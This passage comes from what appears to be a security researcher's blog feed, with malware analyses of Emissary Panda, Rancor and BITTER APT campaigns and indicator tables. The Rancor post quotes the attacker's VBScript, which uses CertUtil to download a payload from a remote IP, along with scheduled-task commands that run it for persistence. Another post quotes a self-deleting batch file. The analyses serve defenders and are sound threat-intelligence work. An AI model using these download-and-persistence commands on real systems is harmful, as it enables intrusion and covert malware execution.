<p>I then performed a search on PassiveTotal for the initial C2 domain <em>(hunvenbinusa.info)</em> and found that it shared an IP address with two other domains - <em>bueatyslim.site</em> and <em>ispot-world.com</em>. While I haven’t found evidence indicating <em>ispot-world.com</em> is related to this campaign, <em>Censys.io</em> records reveal that <em>bueatyslim.site</em> utilizes a LetsEncrypt certificate that contains a SANs (Subject Alternative Name) of <em>“hunvenbinusa.info”</em> - therefore, I believe <em>bueatyslim.site</em> to be an additional C2 domain utilized in this campaign.</p>

<p> </p>

<p>At this time, I was unable to obtain evidence of target attribution - however they have primarily targeted financial institutions in Eastern Europe, Central Asia, and Southeast Asia per <a href="https://attack.mitre.org/groups/G0080/">MITRE’s</a> research. It is also interesting to see how investigating small “threads” of evidence can lead to going down many rabbit holes - possibly unraveling the “ball of yarn” that is an attacker’s infrastructure.</p>

<p> </p>

<h2 id="indicators">Indicators</h2>

<table>
  <tbody>
    <tr>
      <td>Indicator</td>
      <td>Type</td>
      <td>Description</td>
    </tr>
    <tr>
      <td>www.relax-cream.com/wp-content/plugins/Boss/PFD-19-010.doc</td>
      <td>URL</td>
      <td>URL serving PFD-19-010.doc</td>
    </tr>
    <tr>
      <td>8e8e7b25a0df0dfed26d726cb1c01567</td>
      <td>MD5</td>
      <td>PFD-19-010.doc - Visa themed .Doc lure containing embedded macro leading to download of CobInt/COOLPANTS malware</td>
    </tr>
    <tr>
      <td>www.huanchacosurf.inti.co.uk/vendor/bin/avatar.hlpv</td>
      <td>URL</td>
      <td>URL serving CobInt/COOLPANTS malware</td>
    </tr>
    <tr>
      <td>6ef835a8ac1cc70d4b478c7c45efa5db</td>
      <td>MD5</td>
      <td>Colors.exe - CobInt/COOLPANTS malware hash</td>
    </tr>
    <tr>
      <td>hunvenbinusa.info</td>
      <td>Domain</td>
      <td>CobInt/COOLPANTS Command &amp; Control server</td>
    </tr>
    <tr>
      <td>bueatyslim.site</td>
      <td>Domain</td>
      <td>CobInt/COOLPANTS Command &amp; Control server</td>
    </tr>
  </tbody>
</table>

<p> </p>

<h2 id="referencesfurther-reading">References/Further Reading</h2>

<ol>
  <li>https://www.proofpoint.com/us/threat-insight/post/new-modular-downloaders-fingerprint-systems-part-3-cobint</li>
  <li>https://github.com/EmergingThreats/threatresearch/blob/master/cobint/stage2_decrypt_response.py</li>
  <li>https://threatpost.com/cobalt-group-targets-banks-in-eastern-europe-with-double-threat-tactic/137075/</li>
  <li>https://attack.mitre.org/groups/G0080/</li>
  <li>https://app.any.run/tasks/f6e0598d-a1e4-4503-953c-6d7506e2ef66/</li>
</ol>]]></content><author><name>MELTX0R</name></author><category term="tech" /><summary type="html"><![CDATA[]]></summary></entry><entry><title type="html">09/19/2019 - Emissary Panda APT: Recent infrastructure and RAT analysis</title><link href="/tech/2019/09/19/emissary-panda-apt.html" rel="alternate" type="text/html" title="09/19/2019 - Emissary Panda APT: Recent infrastructure and RAT analysis" /><published>2019-09-19T07:00:00+00:00</published><updated>2019-09-19T07:00:00+00:00</updated><id>/tech/2019/09/19/emissary-panda-apt</id><content type="html" xml:base="/tech/2019/09/19/emissary-panda-apt.html"><![CDATA[<center><img src="/assets/images/emissaryPandaBanner.jpg" style="max-width:100%;max-height:100%;" /></center>

<p> </p>

<h2 id="summary">Summary</h2>

<p>Emissary Panda, a group that goes by many names (APT27, IronTiger, BronzeUnion, TG-3390, and LuckyMouse), is a Chinese APT that is suspected of being active for nearly a decade. This group has been known to target aerospace, government, defense, technology, energy, and manufacturing sectors. Not much activity has been publicly recorded on this group as of late, but research indicates they are not dormant.</p>

<h2 id="analysis">Analysis</h2>

<p>While performing research, I identified a suspect binary titled “<em>odbcad32.exe</em>”. What immediately piqued my interest was that this binary, while having the appearance of the legitimate “<em>Open Database Connectivity Data Source Administrator utility</em>” by Microsoft, was not signed with a Microsoft certificate. Instead, this binary was signed with a certificate belonging to “<em>Hangzhou Bianfeng Networking Technology Co., Ltd.</em>”. Open source research on this company name indicates that it is a Chinese software company, and a subsidiary of the media organization “Zhejiang Daily Digital”, which is headquartered in Hangzhou, China.</p>

<p> </p>

<center><img src="/assets/images/EMISSARYPANDA_STOLEN_CERTIFICATE_09192019.png" style="max-width:100%;max-height:100%;" /></center>
<p><span style="font-size:small;"> Shown above: Certificate used to sign malicious binary used by Emissary Panda APT</span></p>

<p> </p>

<p>At this point, I decided to dig deeper into this binary and see why it was attempting to disguise itself as a legitimate Microsoft utility. Upon execution, the binary would elevate privileges and drop two files - <em>odbccx32.dll</em> in the <em>C:\Windows\system32\</em> folder, and a randomly named batch file in the user’s local temp folder.</p>

<p> </p>

<figure class="highlight"><pre><code class="language-text" data-lang="text">@echo off
:err
del "c:\Users\[Username]\Desktop\odbcad32.exe" &gt;nul
if exist "c:\Users\[Username]\Desktop\odbcad32.exe" goto err
&gt;nul
@echo on
del "c:\Users\[Username]\AppData\Local\Temp\[random].bat"</code></pre></figure>

<p><span style="font-size:small;"> Shown above: Content within the batch file</span></p>

<p> </p>

<p><em>Net.exe</em> was then launched with the parameters “<em>stop “Remote Registry Configuration”</em>”. Next, rundll32.exe loads the aforementioned “odbccx32.dll”, and then another <em>net.exe</em> is launched with the parameters “<em>start “Remote Registry Configuration”</em>”. Once the malicious DLL is loaded via <em>rundll32.exe</em>, it then establishes persistence via a new service. <em>Cmd.exe</em> then executes the dropped batch file, which deletes the originally executed file, as well as the batch file itself.</p>

<p>Following this, <em>Svchost.exe</em> is executed and loads the malicious <em>odbccx32.dll</em>. It then drops the file “<em>autochk.sys</em>” in the <em>C:\Windows\system32\drivers\</em> folder, and reads the hosts file located in the C:\Windows\system32\drivers\etc\hosts folder (this file contains the mappings of IP addresses to host names). Command &amp; Control is then initiated to “<em>yofeopxuuehixwmj.redhatupdater.com</em>” over ports 53, 80, and 443. While this domain currently resolves to <em>80.85.153.176</em>, no response was received from probing attempts, and no secondary payload was observed.</p>

<p> </p>

<center><img src="/assets/images/EMISSARYPANDA_ZXSHELL_RAT_PROCESS_GRAPH_09192019.png" style="max-width:100%;max-height:100%;" /></center>
<p><span style="font-size:small;"> Shown above: Process graph</span></p>

<p> </p>

<p>The TTP’s (Tactics, Techniques, and Procedures) observed in this sample are consistent with those seen in past attacks conducted by the <em>Emissary Panda APT group</em>, specifically in relation to the <em>ZxShell Remote Access Trojan (RAT)</em> which they have been observed using.</p>

<p> </p>

<p>I then pivoted into VirusTotal’s relational graphing utility to see if I could gather additional information on this campaign’s infrastructure. This revealed four structurally similar binaries that I suspect of also being <em>ZxShell RAT installers</em> - one of which beaconed to the same Command &amp; Control server as the original sample (<em>yofeopxuuehixwmj.redhatupdater.com</em>). The second and third binaries beaconed to <em>language.wikaba.com</em> and <em>solution.instanthq.com</em> - both of which have been documented as being Command &amp; Control servers for past Emissary Panda APT campaigns. I was unable to confirm the fourth binary being a ZxShell RAT installer, which beacons to <em>awvsf7esh.dellrescue.com</em>, however VirusTotal deems that it is structurally similar to previously confirmed installers. Please note that the domain “<em>dellrescue.com</em>” has been documented by <em>Cylance</em> as having been used in a campaign conducted by PassCV APT group in 2016, although the subdomain utilized was different (<em>sc.dellrescue.com</em>).</p>

<p> </p>

<center><img src="/assets/images/EMISSARYPANDA_ZXSHELL_RAT_VT_GRAPH_09192019.png" style="max-width:100%;max-height:100%;" /></center>
<p><span style="font-size:small;"> Shown above: VirusTotal Graph</span></p>

<p> </p>

<p>At this time, I was unable to obtain evidence of target attribution - however in the past Emissary Panda APT has been observed targeting Asia, Middle East, US, and UK based organizations and infrastructure. What struck me as most interesting from my analysis of this sample was how the Emissary Panda APT group was able to obtain a valid certificate to sign their Remote Access Trojan binary, which sparks the question - was this group able to compromise the Chinese based software company and steal their certificate(s), or are there possible insider threats lurking within? Regardless, it is an interesting sample and displays that Emissary Panda is still active.</p>

<p> </p>

<h2 id="indicators">Indicators</h2>

<table>
  <tbody>
    <tr>
      <td>Indicator</td>
      <td>Type</td>
      <td>Description</td>
    </tr>
    <tr>
      <td>70cff7c176c7df265a808aa52daf6f34</td>
      <td>MD5</td>
      <td>odbcad32.exe - ZxShell RAT Installer</td>
    </tr>
    <tr>
      <td>37fc73c754ef2706659a18837a90ddaa</td>
      <td>MD5</td>
      <td>odbcad32.exe - ZxShell RAT Installer</td>
    </tr>
    <tr>
      <td>A9C2FF438C73E865624EEB0763235A14</td>
      <td>MD5</td>
      <td>odbccx32.dll - ZxShell RAT service DLL</td>
    </tr>
    <tr>
      <td>yofeopxuuehixwmj.redhatupdater.com</td>
      <td>Domain</td>
      <td>ZxShell RAT Command &amp; Control server</td>
    </tr>
    <tr>
      <td>1b2d75f9c7717f377100924cdbdb10b1</td>
      <td>MD5</td>
      <td>odbcad32.exe - Unconfirmed ZxShell RAT Installer</td>
    </tr>
    <tr>
      <td>awvsf7esh.dellrescue.com</td>
      <td>Domain</td>
      <td>Unconfirmed ZxShell RAT Command &amp; Control server</td>
    </tr>
    <tr>
      <td>850df4a726a71f50d3cc7192c8cf7e6a</td>
      <td>MD5</td>
      <td>odbcad32.exe - older ZxShell RAT Installer from 2018</td>
    </tr>
    <tr>
      <td>b7f958f93e2f297e717cffc2fe43f2e9</td>
      <td>MD5</td>
      <td>odbcad32.exe - ZxShell RAT Installer previously documented by Dell SecureWorks CTU</td>
    </tr>
    <tr>
      <td>language.wikaba.com</td>
      <td>Domain</td>
      <td>ZxShell RAT Command &amp; Control server previously documented by Dell SecureWorks CTU</td>
    </tr>
    <tr>
      <td>solution.instanthq.com</td>
      <td>Domain</td>
      <td>ZxShell RAT Command &amp; Control server previously documented by Dell SecureWorks CTU</td>
    </tr>
  </tbody>
</table>

<p> </p>

<h2 id="referencesfurther-reading">References/Further Reading</h2>

<ol>
  <li>https://www.secureworks.com/research/a-peek-into-bronze-unions-toolbox</li>
  <li>https://securelist.com/luckymouse-hits-national-data-center/86083/</li>
  <li>https://unit42.paloaltonetworks.com/emissary-panda-attacks-middle-east-government-sharepoint-servers/</li>
  <li>https://thehackernews.com/2018/06/chinese-watering-hole-attack.html</li>
  <li>https://arstechnica.com/information-technology/2015/08/newly-discovered-chinese-hacking-group-hacked-100-websites-to-use-as-watering-holes/</li>
  <li>https://attack.mitre.org/groups/G0027/</li>
  <li>https://threatvector.cylance.com/en_us/home/digitally-signed-malware-targeting-gaming-companies.html</li>
  <li>https://app.any.run/tasks/91aee60c-6982-461a-a006-e601c8879fb0/</li>
</ol>]]></content><author><name>MELTX0R</name></author><category term="tech" /><summary type="html"><![CDATA[]]></summary></entry><entry><title type="html">09/11/2019 - RANCOR APT: Suspected targeted attacks against South East Asia</title><link href="/tech/2019/09/11/rancor-apt.html" rel="alternate" type="text/html" title="09/11/2019 - RANCOR APT: Suspected targeted attacks against South East Asia" /><published>2019-09-11T07:00:00+00:00</published><updated>2019-09-11T07:00:00+00:00</updated><id>/tech/2019/09/11/rancor-apt</id><content type="html" xml:base="/tech/2019/09/11/rancor-apt.html"><![CDATA[<center><img src="/assets/images/rancorBanner.jpg" style="max-width:100%;max-height:100%;" /></center>

<p> </p>

<h2 id="summary">Summary</h2>

<p>Rancor - a Chinese APT identified by PaloAlto in 2017 has recently been observed targeting South East Asia using RTF’s containing CVE-2018-0798. They are believed to have goals of espionage. In this post I review a recently created RTF document used to lure and target South East Asian entities.</p>

<h2 id="analysis">Analysis</h2>

<p>While conducting research I came across an RTF document on VirusTotal, which was created on 2019-08-28 at 00:35:00
 and uploaded on 2019-09-11 at 08:48:41. Initial review of this RTF revealed highly suspect activity consistent with APT lures that I have observed in the past.</p>

<p>Upon opening the RTF document you are presented with a list of names written in Khmer, the official language of Cambodia, and spoken throughout South East Asia. The content of the document, when translated, attempts to appear as if it was sent by the Cabinet of Cambodia and lists out names of various government officials.</p>

<p> </p>

<center><img src="/assets/images/RANCOR_APT_RTF_IMAGE_09112019.png" style="max-width:100%;max-height:100%;" /></center>
<p><span style="font-size:small;"> Shown above: Rancor RTF Lure</span></p>

<p> </p>

<p>Whilst reviewing this “official” looking document, CVE-2018-0798 is being executed in the background. CVE-2018-0798 is an RCE vulnerability which allows a stack buffer overflow that can be exploited by a threat actor to perform stack corruption. In July 2019, Anomali wrote a detailed <a href="https://www.anomali.com/blog/multiple-chinese-threat-groups-exploiting-cve-2018-0798-equation-editor-vulnerability-since-late-2018">article</a> on this exploit and how they observed multiple Chinese threat groups utilizing it to compromise their targets (including Rancor). This allows the attackers to create the file “OSEA54d.tmp” in the <em>“C:\Users[username]\AppData\Local\Temp"</em> folder and execute it.</p>

<p> </p>

<p><em>OSEA54d.tmp</em> then drops <em>GoogleUpdate.exe (7b973145f7e1b59330ca4dd1f86b3d55)</em> within <em>“C:\Windows\System32\spool\drivers\color\“</em>. Analysis of the <em>GoogleUpdate.exe</em> binary reveals it is merely <em>CertUtil.exe</em>, a legitimate Microsoft  command-line utility that can be used to obtain certificate authority information and configure Certificate Services. It can also be used for nefarious purposes, such as downloading files from a given URL. Next, <em>OSEA54d.tmp</em> creates a .vbs script in the same folder, titled <em>“Photo.vbs”</em>.</p>

<p> </p>

<p><span style="font-size:small;"> Shown below: Photo.vbs script</span></p>

<figure class="highlight"><pre><code class="language-text" data-lang="text">wscript.sleep 3000:wscript.createobject("wscript.shell").run "%windir%\system32\spool\drivers\color\GoogleUpdate.exe -f -u""rlca""che ""h""tt""p"":/""/167.71.237.100/%ComputerName%.png"" %temp%\%ComputerName%.tmp",0,0</code></pre></figure>

<p> </p>

<p>Stepping through this script, we can break it down to two parts - first it calls <em>“wscript.sleep”</em> which causes it to suspend the execution of the script for a specified number of milliseconds (in this case, 3000). Second, we see it call <em>“wscript.createobject(“wscript.shell”).run”</em>, which allows you to run a cmdline command from a .vbs script. This runs GoogleUpdate.exe, which we previously identified as CertUtil.exe, with the -f and -urlcache flags to force fetch a specified URL and update the cache. The URL provided (<em>167.71.237.100/%ComputerName%.png</em>) requests a file based off the user’s computer name (i.e. <em>USER-PC</em>), which is then stored in the user’s local temp folder as a .tmp file.</p>

<p> </p>

<p>Next, I observed <em>OSE91E4.tmp</em> launch two child <em>cmd.exe</em> processes with the following parameters:</p>

<p><span style="font-size:small;"> Shown below: “Google-Updates” scheduled task</span></p>

<figure class="highlight"><pre><code class="language-text" data-lang="text">cmd /c schtasks /create /sc MINUTE /tn "Google-Updates" /tr "msiexec /q /i %temp%\%ComputerName%.tmp" /mo 3 /F</code></pre></figure>

<p> </p>

<p>The first <em>cmd.exe</em> calls schtasks to create a scheduled task called “<em>Google-Updates</em>”, which utilizes “<em>msiexec</em>” to execute the downloaded payload “<em>[ComputerName].tmp</em>” from the user’s local temp folder once every minute. This would be used to maintain persistence once the secondary payload was downloaded.</p>

<p> </p>

<p><span style="font-size:small;"> Shown below: “Google-Update” scheduled task</span></p>

<figure class="highlight"><pre><code class="language-text" data-lang="text">cmd /c schtasks /create /sc MINUTE /tn "Google-Update" /tr "wscript /b %windir%\system32\spool\drivers\color\Photo.vbs" /mo 2 /F</code></pre></figure>

<p> </p>

<p>The second <em>cmd.exe</em> calls schtasks to create a scheduled task called “<em>Google-Update</em>” (note the missing “s” in comparison to the prior scheduled task. Due to the /F flag, even if they had identical names, it would forcefully create the task and suppresses warnings if the specified task already existed). This utilizes wscript to run “Photo.vbs” from the user’s local temp folder once every minute.</p>

<p> </p>

<center><img src="/assets/images/RANCOR_APT_PROCESS_GRAPH.png" style="max-width:100%;max-height:100%;" /></center>
<p><span style="font-size:small;"> Shown above: Process graph</span></p>

<p> </p>

<p>Unfortunately, whenever a secondary payload was requested from the URL “<em>167.71.237.100/[ComputerName].png</em>” containing my computer’s name (USER-PC), regardless of geolocation, it returned 404 Not Found HTTP responses. That indicates several possibilities to me - such as the attackers already knowing the computer name of their target and only returning a payload if it is matched, specific geolocation requirements, or the file was removed from the server.</p>

<p> </p>

<center><img src="/assets/images/RANCOR_APT_PAYLOAD_REQUEST_09112019.png" style="max-width:100%;max-height:100%;" /></center>
<p><span style="font-size:small;"> Shown above: Packet capture of Rancor RTF 2nd stage payload request</span></p>

<p> </p>

<p>Due to the final payload not being available for analysis, I was unable to compare prior samples of malware used by Rancor to confirm attribution - however, based on the TTP’s (Tactics, Techniques, Procedures) observed, I can say with a high degree of confidence that this activity is related to Rancor APT. Therefore, the final payload would have likely been DDKONG or PLAINTEE malware which serve as backdoors, allowing the actors to list files, upload/download files, and execute other commands.</p>

<p> </p>

<p> </p>

<h2 id="translated-rtf-lure">Translated RTF Lure</h2>

<figure class="highlight"><pre><code class="language-text" data-lang="text">Office of the Council of Ministers
From Head of Department to Director General
A. General Department of Administration and Finance
1. HE Chhum Thong, Director General
2. HE Binny Tiara, Deputy Director General
3. Mr. Kim Sung, Deputy Director General
4. Mr. Yim Roulli, Director of Administration Department
5. Sorn Seth, Head of Supply and Finance Department
6. Mr. Sam Bunna, Head of Personnel Department
7. Mrs. Hak Porleang, Head of Protocol Department
B. General Department of General Affairs
1. Mr. Oum Sambath, Acting Director General
2. Deputy Prime Minister Yim Sokunthy
3. Mr. Heng studied Deputy Director
4. The Deputy Director General
5. Mr. Phuang Construction Deputy Director General
6. Soth Thy, Head of Electronic and Information Technology Department
7. Mr. Van Mony Sovann, Head of Total Department
8. Mr. So Seyha, Head of Department of Excellence
9. Mr. Kheang Seng, Acting Head of Department, Department of Cabinet Plenary and other meetings
10. Miss. Kim Marian, Acting Director, Research and Documentation Support Meeting

C. General Department of International Cooperation
1. Her Excellency Hean Polynes, General Director in addition to the Vice President
Cambodian Human Rights Committee
2. Keo Kannarith, Deputy Director General
3. Mr. Tuy Sina, Deputy Director General
4. Hem Oum Sithiel, Head of International Relations Department
5. Pa. Panna Radar, Acting Director of the ASEAN Department
D. Directorate General for Internal Affairs
1. Mr. Sao Phalla, Director General
2. HE Sarun Rady, Deputy Director General
3. Mr. Ung Chanthou, Deputy Director General
4. Ms. Pich Channary, Deputy Director General
5. Mr
6. Rith Arunithya, Director of the Department of the Interior, Defense, Justice and the Constitutional Institution
7. Mr. Heng Sok is Director of Department of Public Works and Relations with the National Assembly, Senate and Inspection
8. Meas Men, Head of Department of Information, Posts and Telecommunications
E. Department of Economy and Tourism
1. Youk Chhang, Director General
2. Seng Vannath, Deputy Director General
3. Mrs. Svay Nary, Deputy Director General
4. HE Phat Salin, Deputy Director General
5. Mr.Ratt Sok is the Head of Finance and Banking Department
6. Mr. Iv Reth heads the Department of Industry, Mineral and Energy
7. Ty, Director of the Department of Commerce and Tourism
8. Lim Kithya, Director of Planning and Development Department
F. General Department of Social Affairs
1. Mr. Thong Sokun, Director General
2. Von Sothun, Deputy Director General
3. Mr. Seng Sin, Deputy Director General
4. Mr. Sok Daravuth, Deputy Director General
5. Heidi Dinar, Head of Department of Education, Culture, Cult and Religion
6. Mr. Chea Phally, Director of Department of Health, Social Affairs and Women's Affairs
G General Department of Production, Land Management, Urban Planning and Construction
1. HE Long Sokha, Director General
2. His Excellency Bin Bunhat, Deputy Director General
3. Chay Seng Thong, Deputy Director General
4. Mr. Ly Sothy Roth, Deputy Director General
5. Phoung Phalkun, Director of Department of Agriculture and Water Resources
6. Hak Seila, Director of Department of Rural Development, Public Works and Transport
7. Ms.
Neth Chhunny, acting director of the Department of Land Management, Urban Planning, Construction and Environment
J General Department of Civil Affairs and National Archives
1. HE Ngin Phalroth, Director General
2. Mr. Four Hing Sothy, Deputy Director General
3. Seng Manrith, Deputy Director General
4. Mr. Suos Visoth, Deputy Director General
5. Ms. Sovann Sovanna, Head of Department of Government
6. Mrs. Dary, Head of the National Archives Department
I. Department of Internal Audit
Mak Thearith, Head of Internal Audit Department</code></pre></figure>
<p><span style="font-size:small;"> Shown above: Translation of the content within the RTF. </span></p>

<p> </p>

<h2 id="indicators">Indicators</h2>

<table>
  <tbody>
    <tr>
      <td>Indicator</td>
      <td>Type</td>
      <td>Description</td>
    </tr>
    <tr>
      <td>5e8b469d36e8d4b9c00c67bbba1af382</td>
      <td>MD5</td>
      <td>Hash of an RTF document used by Rancor APT</td>
    </tr>
    <tr>
      <td>fa2a3369e6d17b44ce066035c0ef8c56</td>
      <td>MD5</td>
      <td>Hash of OSEA54D.tmp</td>
    </tr>
    <tr>
      <td>167.71.237.100</td>
      <td>IP Address</td>
      <td>IP Address used by Rancor APT to serve a second stage payload, likely DDKONG or PLAINTEE malware</td>
    </tr>
  </tbody>
</table>

<p> </p>

<h2 id="referencesfurther-reading">References/Further Reading</h2>

<ol>
  <li>https://unit42.paloaltonetworks.com/unit42-rancor-targeted-attacks-south-east-asia-using-plaintee-ddkong-malware-families/</li>
  <li>https://www.anomali.com/blog/multiple-chinese-threat-groups-exploiting-cve-2018-0798-equation-editor-vulnerability-since-late-2018</li>
  <li>https://attack.mitre.org/groups/G0075/</li>
  <li>https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2018-0798</li>
</ol>]]></content><author><name>MELTX0R</name></author><category term="tech" /><summary type="html"><![CDATA[]]></summary></entry><entry><title type="html">09/09/2019 - BITTER APT: Not So Sweet pt. 2</title><link href="/tech/2019/09/09/bitter-apt-not-so-sweet-pt2.html" rel="alternate" type="text/html" title="09/09/2019 - BITTER APT: Not So Sweet pt. 2" /><published>2019-09-09T07:00:00+00:00</published><updated>2019-09-09T07:00:00+00:00</updated><id>/tech/2019/09/09/bitter-apt-not-so-sweet-pt2</id><content type="html" xml:base="/tech/2019/09/09/bitter-apt-not-so-sweet-pt2.html"><![CDATA[<center><img src="/assets/images/bitterBanner.jpg" style="max-width:100%;max-height:100%;" /></center>

<p> </p>

<h2 id="summary">Summary</h2>

<p>In <a href="https://meltx0r.github.io/tech/2019/09/06/bitter-apt-not-so-sweet.html">my last post</a> I reviewed a recent BITTER campaign which used the ArtraDownloader and was observed targeting Pakistani organizations. This post is a continuation of my tracking efforts of the APT group known as “BITTER”, in which I review additional undiscovered infrastructure and their Remote Access Trojan (RAT) known as BitterRAT.</p>

<h2 id="analysis">Analysis</h2>

<p>While conducting research, I came across a binary (<em>d8b2cd8ebb8272fcc8ddac8da7e48e01</em>) on VirusTotal that was uploaded on 2019-07-27. According to an automated comment by THOR APT Scanner, this binary triggered detections for the rule “<em>APT_RAT_Patchwork_Jan19_2</em>”. Reviewing the Command &amp; Control communications for this binary confirmed it to be BitterRAT, a RAT used by the BITTER APT group as well as others (such as Patchwork, Hangover, etc.) in the past. The Command &amp; Control for this binary was sent to <em>blth32serv.net</em> <em>(82.221.129.19)</em>. During my analysis, one thing that stood out as particularly interesting was that this binary utilized a certificate that appears to belong to the Sindh Police, which is headquartered in Karachi, Pakistan. The certificate is now expired (it was only valid from 7/25/2019 to 8/25/2019) and is giving warnings that the certificate cannot be verified. A recent <a href="https://twitter.com/RedDrip7/status/1170988245561294850">Tweet</a> by the RedDrip team reaffirm these findings, in which they state that BITTER had stolen the aforementioned certificate.</p>

<p> </p>

<center><img src="/assets/images/StolenCertificate_BITTERAPT_09092019.PNG" style="max-width:100%;max-height:100%;" /></center>
<p><span style="font-size:small;"> Shown above: Certificate of BitterRAT binary</span></p>

<p> </p>

<p>Armed with the information that <em>blth32serv.net</em> is the primary C2 for this BitterRAT sample, I then pivoted into VirusTotal’s relational graphing to see if I could gather additional information on this campaign’s infrastructure. This revealed another binary, <em>nsdtcv.exe (596ec0f90c25fdbe3d8ade3f4ea4cd38)</em>, that beacons to <em>blth32serv.net</em> as it’s primary Command &amp; Control. This second binary is currently being served via the URL <em>w32infinitisupports.net/win/ctf (94.156.175.61)</em> - at the time of this writing, I cannot find anything indicating this domain is known or being tracked in relation to BITTER APT.</p>

<p> </p>

<center><img src="/assets/images/BITTER_RAT_VT_GRAPH_09092019.PNG" style="max-width:100%;max-height:100%;" /></center>
<p><span style="font-size:small;"> Shown above: VirusTotal Graph of this campaign’s infrastructure</span></p>

<p> </p>

<p>Analysis of this secondary binary produced results that I would expect to see from BitterRAT - such as persistence via an autorun registry key, C2 via GET requests containing the URI pattern “<em>.php?TIe=[encoded data]</em>”, etc.</p>

<p> </p>

<center><img src="/assets/images/BITTERRAT_C2_09092019.PNG" style="max-width:100%;max-height:100%;" /></center>
<p><span style="font-size:small;"> Shown above: Packet capture of BitterRAT C2</span></p>

<p> </p>

<p>The data contained within the URI is encoded by adding to each byte within the string. By subtracting one from each byte, you are able to decode the data, which reveals that it is a unique identifier and the compromised machine’s hostname. This is the same encoding technique I observed in my earlier <a href="https://meltx0r.github.io/tech/2019/09/06/bitter-apt-not-so-sweet.html">post</a> regarding ArtraDownloader.</p>

<p> </p>

<table>
  <tbody>
    <tr>
      <td>Unique Identifier</td>
      <td>Hostname</td>
    </tr>
    <tr>
      <td>20052c37-1320-41a4-b58d-2b75a2850d2f</td>
      <td>User-PC</td>
    </tr>
  </tbody>
</table>

<p> </p>

<p>Another interesting find is that both binaries contain PDB (Program Database) file strings. Program database files are generated when a file is compiled and contain debugging information about an individual build of a program, and can give us some unique insight into how these attackers build and store their malware. FireEye released a great article describing the importance of PDB’s, which can be found <a href="https://www.fireeye.com/blog/threat-research/2019/08/definitive-dossier-of-devilish-debug-details-part-one-pdb-paths-malware.html">here</a>.</p>

<p> </p>

<p><span style="font-size:small;"> Shown below: PDB string found in the two BitterRAT binaries</span></p>

<figure class="highlight"><pre><code class="language-text" data-lang="text">C:\Users\Asterix\Documents\Visual Studio 2008\Projects\25July2019DN\Release\25July2019DN.pdb</code></pre></figure>

<p> </p>

<p>Within this fully qualified PDB path, I see several things of note. A username (<em>Asterix</em>), a project folder (<em>25July2019DN</em>), and the .pdb file itself (<em>25July2019DN.pdb</em>). From this, I can deduce that the creator of both of these binaries was (atleast at this stage in compilation) named <em>Asterix</em>, and that it was being worked on around the 25th of July 2019. Both files metadata reveal final compilation dates of July 25th 2019 04:55:52 for the first binary, and August 31st 2019 09:14:04 for the second binary. It is also interesting to see how these actors work on their malware in a structured way as any programmer might.</p>

<p> </p>

<p>Now that I was able to obtain the PDB string from these files, I can perform searches for similar files via VirusTotal’s “RetroHunt” service (requires a paid subscription) or Hybrid-Analysis’s advanced Yara search (free for a limited amount of results). In either case, I must first create a Yara rule to search for the PDB string. For this, I will only use the <em>“C:\Users\Asterix"</em> portion of the PDB string, as I want to see what other files this user has authored.</p>

<p> </p>

<figure class="highlight"><pre><code class="language-yara" data-lang="yara">rule BITTER_RAT_PDB_STRING{
 strings:
   $a1 = "C:\\Users\\Asterix" nocase
 condition:
   $a1
}</code></pre></figure>
<p><span style="font-size:small;"> Shown above: A very basic example of a Yara rule</span></p>

<p> </p>

<p>This search on Hybrid-Analysis returns 180 samples containing this string, 11 of which are available to view for free and 169 which require a paid subscription. Of the samples available for free, a majority of them are tagged “Hangover”, indicating the APT group that goes by that name (according to <a href="https://attack.mitre.org/groups/G0040/">MITRE</a>, it is believed that the actors behind Patchwork APT are the same actors behind Hangover). Interestingly, they share several commonalities with the BITTER APT group - those being they both are believed to have a goal of espionage, both were first observed in late 2015, and both are believed to be pro-Indian or made up of Indian entities. I could not find any information online suggesting that Patchwork/Hangover may also be the same entity as BITTER, but it does show an interesting overlap in TTPs (Tactics, Techniques, &amp; Procedures) and possible motives.</p>

<p> </p>

<p>Regardless, the earliest file creation date I am able to see from the free samples available matching that .PDB string is <em>February 2nd 2018</em>, indicating that the user “<em>Asterix</em>” has been involved in BITTER/Patchwork/Hangover operations for some time.  Based on the stolen certificate used for the first binary, I would extrapolate that the aforementioned files were used in attacks against Pakistani organizations, however I do not have further evidence at this time to confirm target attribution.</p>

<p> </p>

<h2 id="indicators">Indicators</h2>

<table>
  <tbody>
    <tr>
      <td><strong>Indicator</strong></td>
      <td><strong>Type</strong></td>
      <td><strong>Description</strong></td>
    </tr>
    <tr>
      <td>blth32serv.net</td>
      <td>Domain</td>
      <td>BitterRAT C2 Domain</td>
    </tr>
    <tr>
      <td>/ourtyaz/qwe.php?TIe=[encoded information]</td>
      <td>URI</td>
      <td>BitterRAT C2 URI Pattern</td>
    </tr>
    <tr>
      <td>w32infinitisupports.net/win/ctf</td>
      <td>URL</td>
      <td>URL serving BitterRAT binary</td>
    </tr>
    <tr>
      <td>596ec0f90c25fdbe3d8ade3f4ea4cd38</td>
      <td>MD5</td>
      <td>Hash value for BitterRAT binary “nsdtcv.exe”, served from w32infinitisupports.net</td>
    </tr>
    <tr>
      <td>d8b2cd8ebb8272fcc8ddac8da7e48e01</td>
      <td>MD5</td>
      <td>Hash value for BitterRAT binary</td>
    </tr>
    <tr>
      <td>82.221.129.19</td>
      <td>IP Address</td>
      <td>IP Address hosting blth32serv.net</td>
    </tr>
    <tr>
      <td>94.156.175.61</td>
      <td>IP Address</td>
      <td>IP Address hosting w32infinitisupports.net</td>
    </tr>
    <tr>
      <td>C:\Users\Asterix\Documents\Visual Studio 2008\Projects\25July2019DN\Release\25July2019DN.pdb</td>
      <td>PDB String</td>
      <td>PDB String of two BitterRAT binaries</td>
    </tr>
  </tbody>
</table>

<p> </p>

<h2 id="referencesfurther-reading">References/Further Reading</h2>

<ol>
  <li>https://www.fireeye.com/blog/threat-research/2019/08/definitive-dossier-of-devilish-debug-details-part-one-pdb-paths-malware.html</li>
  <li>https://twitter.com/RedDrip7/status/1170988245561294850</li>
  <li>https://attack.mitre.org/groups/G0040/</li>
